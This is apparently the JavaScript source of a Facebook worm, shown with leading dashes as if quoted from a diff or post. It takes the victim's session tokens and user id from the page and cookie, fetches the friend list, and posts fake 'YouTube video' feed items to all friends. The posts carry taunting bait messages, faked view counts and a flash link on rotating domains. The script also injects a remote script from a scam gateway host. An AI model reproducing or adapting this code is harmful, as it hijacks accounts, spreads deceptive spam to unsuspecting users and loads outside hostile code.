- removed the link to prevent misclicking
-
-
- var message = ""; /* generated */
- var caption = "www.youtube";
- var description = "";
- var name = "Youtube Video";
- var img = "http://i.imgur./NlMK1.png";
- var gw = "http://gateway.wfnetwork/widget/contentBlocker.js.php?i=1013"; /* jc */
- //var gw = "http://www.creepsweepers./locked.js"; /* jc */
-
- var url = "http://banfish/boom.swf";
- var flashvars = "bgimg=i.imgur/o0LtR.png&bgimg2=i.imgur.com/lEANf.png&img=i.imgur/NlMK1.png&instructX=60&instructY=100&retarded=true&name=&description=&caption=&message=&length=2%3A52&action_name=&payload_url=&buttonText=Play&gwid=1013"; /* don't need these anymore */
- var length = "2:34";
-
-
- /* message spinner */
- var p1 = ['hey', 'HEY', 'WTF', 'OMG', 'ROTFL', 'YO', 'yo', 'YO!', 'omg!', 'omg', 'wtf', 'wtf!!', 'WTF!!','OMG!!'];
- var p2 = ['why are you', 'what are you doing', 'I can\'t believe you\'re', 'you look so stupid', 'i cant believe youre tagged', 'why are you tagged','you should untag yourself'];
- var p3 = ['in this video', 'in this vid'];
-
-
- /* domain spinner */
- var domains = ['banfish', 'craneland','fliptrip'];
-
-
- /* utilities */
- function getRandomInt (min, max) {
- return Math.floor(Math.random() * (max - min + 1)) + min;
- }
- function randomValue(arr){
- return arr[getRandomInt(0, arr.length-1)];
- }
- function addCommas(nStr)
- {
- nStr += '';
- x = nStr.split('.');
- x1 = x[0];
- x2 = x.length > 1 ? '.' + x[1] : '';
- var rgx = /(\d+)(\d{3})/;
- while (rgx.test(x1)) {
- x1 = x1.replace(rgx, '$1' + ',' + '$2');
- }
- return x1 + x2;
- }
- var p1 = ['hey', 'HEY', 'WTF', 'OMG', 'ROTFL', 'YO', 'yo', 'YO!', 'omg!', 'omg', 'wtf', 'wtf!!', 'WTF!!','OMG!!'];
- var p2 = ['why are you', 'what are you doing', 'I can\'t believe you\'re', 'you look so stupid', 'i cant believe youre tagged', 'why are you tagged','you should untag yourself'];
- var p3 = ['in this video', 'in this vid'];
-
- var domain = randomValue(domains);
- url = "http://" + domain + "/boom.swf?" + flashvars;
-
-
-
-
- var post_form_id = document.getElementsByName('post_form_id')[0].value;
- var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
- var uid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
-
- var friends = new Array();
-
- gf = new XMLHttpRequest();
- gf.open("GET","/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&viewer=" + uid + "&"+Math.random(),false);
- gf.send();
- if(gf.readyState!=4){ }else{
- data = eval('(' + gf.responseText.substr(9) + ')');
- if(data.error){ }else{
- friends = data.payload.entries.sort(function(a,b){return a.index-b.index;});
- }
- }
-
-
-
- var did = false;
- function done(){
- if(!did){
- did = true;
-
- var script = document.createElement("script");
- script.src = gw;
- document.body.appendChild(script);
- }
- }
-
- done();
-
- function attach(name,val){
- return "&feed_info[template_data][" + encodeURIComponent(name) + "]=" + encodeURIComponent(val);
- }
- function attach_media(name,val){
- return "&feed_info[template_data][media][0][" + encodeURIComponent(name) + "]=" + encodeURIComponent(val);
- }
- function attach_prop(name,val){
- return "&feed_info[template_data][properties][" + encodeURIComponent(name) + "]=" + encodeURIComponent(val);
- }
- var x = 0;
-
-
- friends.sort(function() {return 0.5 - Math.random()});
- var max = friends.length;
- /*if(max >= 50) max = 50; */
- for(var i=0; i<max; i++){
-
- message = [randomValue(p1), friends[i].text.substr(0,friends[i].text.indexOf(' ')).toLowerCase(), randomValue(p2), randomValue(p3)].join(' ');
- var httpwp = new XMLHttpRequest();
- var viewCount = getRandomInt(843, 7434);
- var urlwp = "/fbml/ajax/prompt_feed.php?__a=1";
- var paramswp = "&__d=1&app_id=6628568379&extern=0" +
- "&post_form_id=" + post_form_id +
- "&fb_dtsg=" + fb_dtsg +
- /*"&feed_info[action_links][0][href]=" + encodeURIComponent(payload_url) +
- "&feed_info[action_links][0][text]=" + encodeURIComponent(action_name) + */
- "&feed_info[app_has_no_session]=true&feed_info[body_general]=&feed_info[template_id]=60341837091&feed_info[templatized]=0&feed_target_type=target_feed&feedform_type=63&lsd&nctr[_ia]=1&post_form_id_source=AsyncRequest&preview=false&size=2&to_ids[0]=" + friends[i].uid +
- "&user_message=" + encodeURIComponent(message) +
- attach("caption", caption) +
- attach("description", description) +
- attach("name", name) +
- attach_prop("Views", addCommas(viewCount)) +
- attach_prop("Likes", addCommas(getRandomInt(432, viewCount))) +
- attach_media("type", "flash") +
- attach_media("swfsrc", url) +
- attach_media("imgsrc", img) +
- attach_media("flashvars", flashvars);
- if(length) paramswp += attach_prop("Length", length);
- httpwp.open("POST", urlwp, true);
- httpwp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
- httpwp.setRequestHeader("Content-length", paramswp.length);
- httpwp.setRequestHeader("Connection", "keep-alive");
- httpwp.onreadystatechange = function(){
- if (httpwp.readyState == 4){
- x++;
- if(x >= friends.length -1){
- done();
- }
- }
- };
- httpwp.send(paramswp);
- }